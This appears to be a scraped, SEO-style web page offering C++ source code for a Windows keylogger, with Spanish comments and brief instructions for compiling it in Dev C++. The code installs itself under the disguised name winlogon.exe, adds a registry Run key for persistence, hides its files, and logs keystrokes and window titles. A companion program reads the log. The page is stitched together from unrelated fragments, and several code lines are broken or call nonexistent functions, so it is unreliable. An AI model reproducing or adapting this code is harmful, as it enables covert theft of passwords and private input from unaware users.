Keylogger Code Dev C++
Keylogger simple en c. GitHub Gist: instantly share code, notes, and snippets. If you want to learn to code at an advanced level in C or build your own fully functional advanced keylogger from scratch for learning ethical hacking, I think you might love this course!In this course you will see exactly how to create an advanced keylogger starting from nothing by literally following the steps I take as I make it! Mar 06, 2017 Open a browser and type something, and go to the C keylogger folder you will see a text file called Record wich have the information you typed. It will keep running in the background unless you stop it. To close the C keylogger go to Task manager by pressing Ctrl+alt+Del. Select the keylogger and choose Endtask.
| #include<cstring> |
| #include<windows.h> |
| #include<fstream> |
| #include<ctime> |
| usingnamespacestd; |
| intmain ( int argc, char *argv[] ) |
| { |
| HWND hwnd; |
| char ventana[255]; |
| char venta2[255]; |
| //existe el archivo log? si no existe instalar keylogger :D |
| ifstream logc; |
| logc.open ( 'windows.dll' ); |
| if ( !logc.is_open() ) |
| { |
| //---- se busca la carpeta de usuario |
| char * dirinstal; |
| char archivo [70]; |
| char * discolocal; |
| dirinstal = getenv ( 'HOMEPATH' ); |
| discolocal = getenv ( 'SystemDrive' ); |
| strcpy ( archivo,discolocal ); |
| strcat ( archivo,dirinstal ); |
| //se crea el archivo log |
| ofstream logos; |
| char winlog [70]; |
| strcpy ( winlog, archivo ); |
| strcat ( winlog, 'windows.dll' ); |
| logos.open ( winlog, ios::out ios::app ); |
| logos.close (); |
| //------- |
| strcat ( archivo, 'winlogon.exe' ); |
| // se copia en la carpeta de usuario |
| CopyFile ( argv[0], archivo, true ); |
| //- ahora se añade al registro |
| HKEY hkey; |
| RegOpenKeyEx ( HKEY_CURRENT_USER, |
| 'SoftwareMicrosoftWindowsCurrentVersionrun', |
| 0, KEY_SET_VALUE, &hkey ); |
| RegSetValueEx ( hkey, 'windout', 0, REG_SZ, |
| (constunsignedchar * ) archivo, sizeof archivo ); |
| RegCloseKey ( hkey ); |
| //se esconden los archivos , el keylogger y el log |
| SetFileAttributesA ( archivo, FILE_ATTRIBUTE_HIDDEN FILE_ATTRIBUTE_SYSTEM ); |
| // ahora el log |
| SetFileAttributesA ( winlog, FILE_ATTRIBUTE_HIDDEN FILE_ATTRIBUTE_SYSTEM ); |
| //por ultimo se cierra el sistema esperando que se reinicie el pc |
| return0; |
| } |
| logc.close(); |
| // abre el archivo log |
| ofstream log; |
| log.open ( 'windows.dll', ios::out ios::app ); |
| while ( true ) |
| { |
| GetAsyncKeyMap (true); |
| GetCaptureWindow (0); |
| for (int CaptureWindow [1]); { |
| } |
| //detecta cambio de ventana |
| hwnd = GetForegroundWindow (); |
| GetWindowText ( hwnd, ventana, 255 ); |
| //---------------------- |
| for(int x=65;x<=90;x++) //valores ascii de los caracteres |
| { |
| if ( GetAsyncKeyState ( x ) -32767 ) |
| { |
| log << ( char ) x; |
| } |
| } |
| for ( int x=48; x<=57; x++ ) //valores ascii de los numeros |
| { |
| if ( GetAsyncKeyState (x) -32767 ) |
| { |
| log << ( char ) x; |
| } |
| } |
| if ( GetAsyncKeyState ( '' ) -32767) |
| { |
| log << ''; |
| } |
| if ( GetAsyncKeyState (1) -32767) |
| { //CLICK izquierdo |
| log << '[click-izq]'; |
| } |
| if ( GetAsyncKeyState(2) -32767 ) |
| { //click derecho |
| log << '[click-der]'; |
| } |
| if ( GetAsyncKeyState (8) -32767 ) |
| { // nada que decir |
| log << '[backspace]'; |
| } |
| if ( GetAsyncKeyState (190) -32767 ) |
| { // nada que decir |
| log << '.'; |
| } |
| if ( GetAsyncKeyState (188) -32767 ) |
| { // nada que decir |
| log << ','; |
| } |
| if ( GetAsyncKeyState (13) -32767 ) |
| { // nada que decir |
| log << '[enter]'; |
| } |
| //capturar flechas |
| if(GetAsyncKeyState(37) -32767) |
| { // nada que decir |
| log << '[left]'; |
| } |
| if(GetAsyncKeyState(38) -32767 ) |
| { // nada que decir |
| log << '[up]'; |
| } |
| if(GetAsyncKeyState(39) -32767 ) |
| { // nada que decir |
| log << '[right]'; |
| } |
| if(GetAsyncKeyState(40) -32767) |
| { // nada que decir |
| log << '[down]'; |
| } |
| if(GetAsyncKeyState(9) -32767) |
| { |
| log << '[tab]'; |
| } |
| //detecta cambio de ventana con otra variable |
| hwnd = GetForegroundWindow (); |
| GetWindowText ( hwnd, venta2, 255 ); |
| //compara las viarables de cambio de ventana |
| if ( strcmp ( ventana, venta2 ) != 0 ) |
| { |
| //ventana a comparar |
| char key[]= 'lolwinlogonlol'; |
| // sera el nombre de la ventana que cierre el proceso |
| if ( strcmp ( ventana,key ) 0 ) |
| { |
| log.close (); |
| return0; |
| } |
| //calcular la fecha |
| time_t tiempo = time (0); |
| structtm *tlocal = localtime (&tiempo); |
| char output[128]; |
| strftime ( output, 128, '%d/%m/%y %H:%M:%S', tlocal ); |
| //-------------------- |
| log << endl << '-------------------------' << endl; |
| log << 'fecha:' << output << endl; |
| log << endl << 'ventana:'<< venta2 << endl; |
| } |
| } |
| return0; |
| } |
| //y para ver los logs: |
| #include<iostream> |
| #include<cstring> |
| #include<windows.h> |
| usingnamespacestd; |
| intmain() |
| { |
| char direccion[70]='notepad ''; |
| char *disco; |
| char *varsis; |
| SetConsoleTitle('lolwinlogonlol'); |
| cout << 'espere mientras se abre el archivo:' << endl; |
| varsis=getenv('HOMEPATH'); |
| disco=getenv('SystemDrive'); |
| strcat(direccion,disco);strcat(direccion,varsis);strcat(direccion,'windows.dll''); |
| system(direccion); |
| cout << 'lol' ; |
| return0; |
| } |
Dev C++ For Windows 10
Dev C++ 5.11
Aug 14, 2017 You need to code the keylogger to run in stealth (hidden) mode. The first task is carried out by a function - GetAsyncKeyState - which is a part of windows API in C. Hence, this function returns a specific value when the ASCII value of the character key pressed is passed as an argument. Install dev C in your system and open the dev C compiler. Go to File-New-Source File. You can see a blank works space will be there in window. Now copy the below keylogger code into the blank work space. #include using namespace std; #include. Auto tune bruno mars. Create your own Keylogger using C; C, Batch Virus code to disable.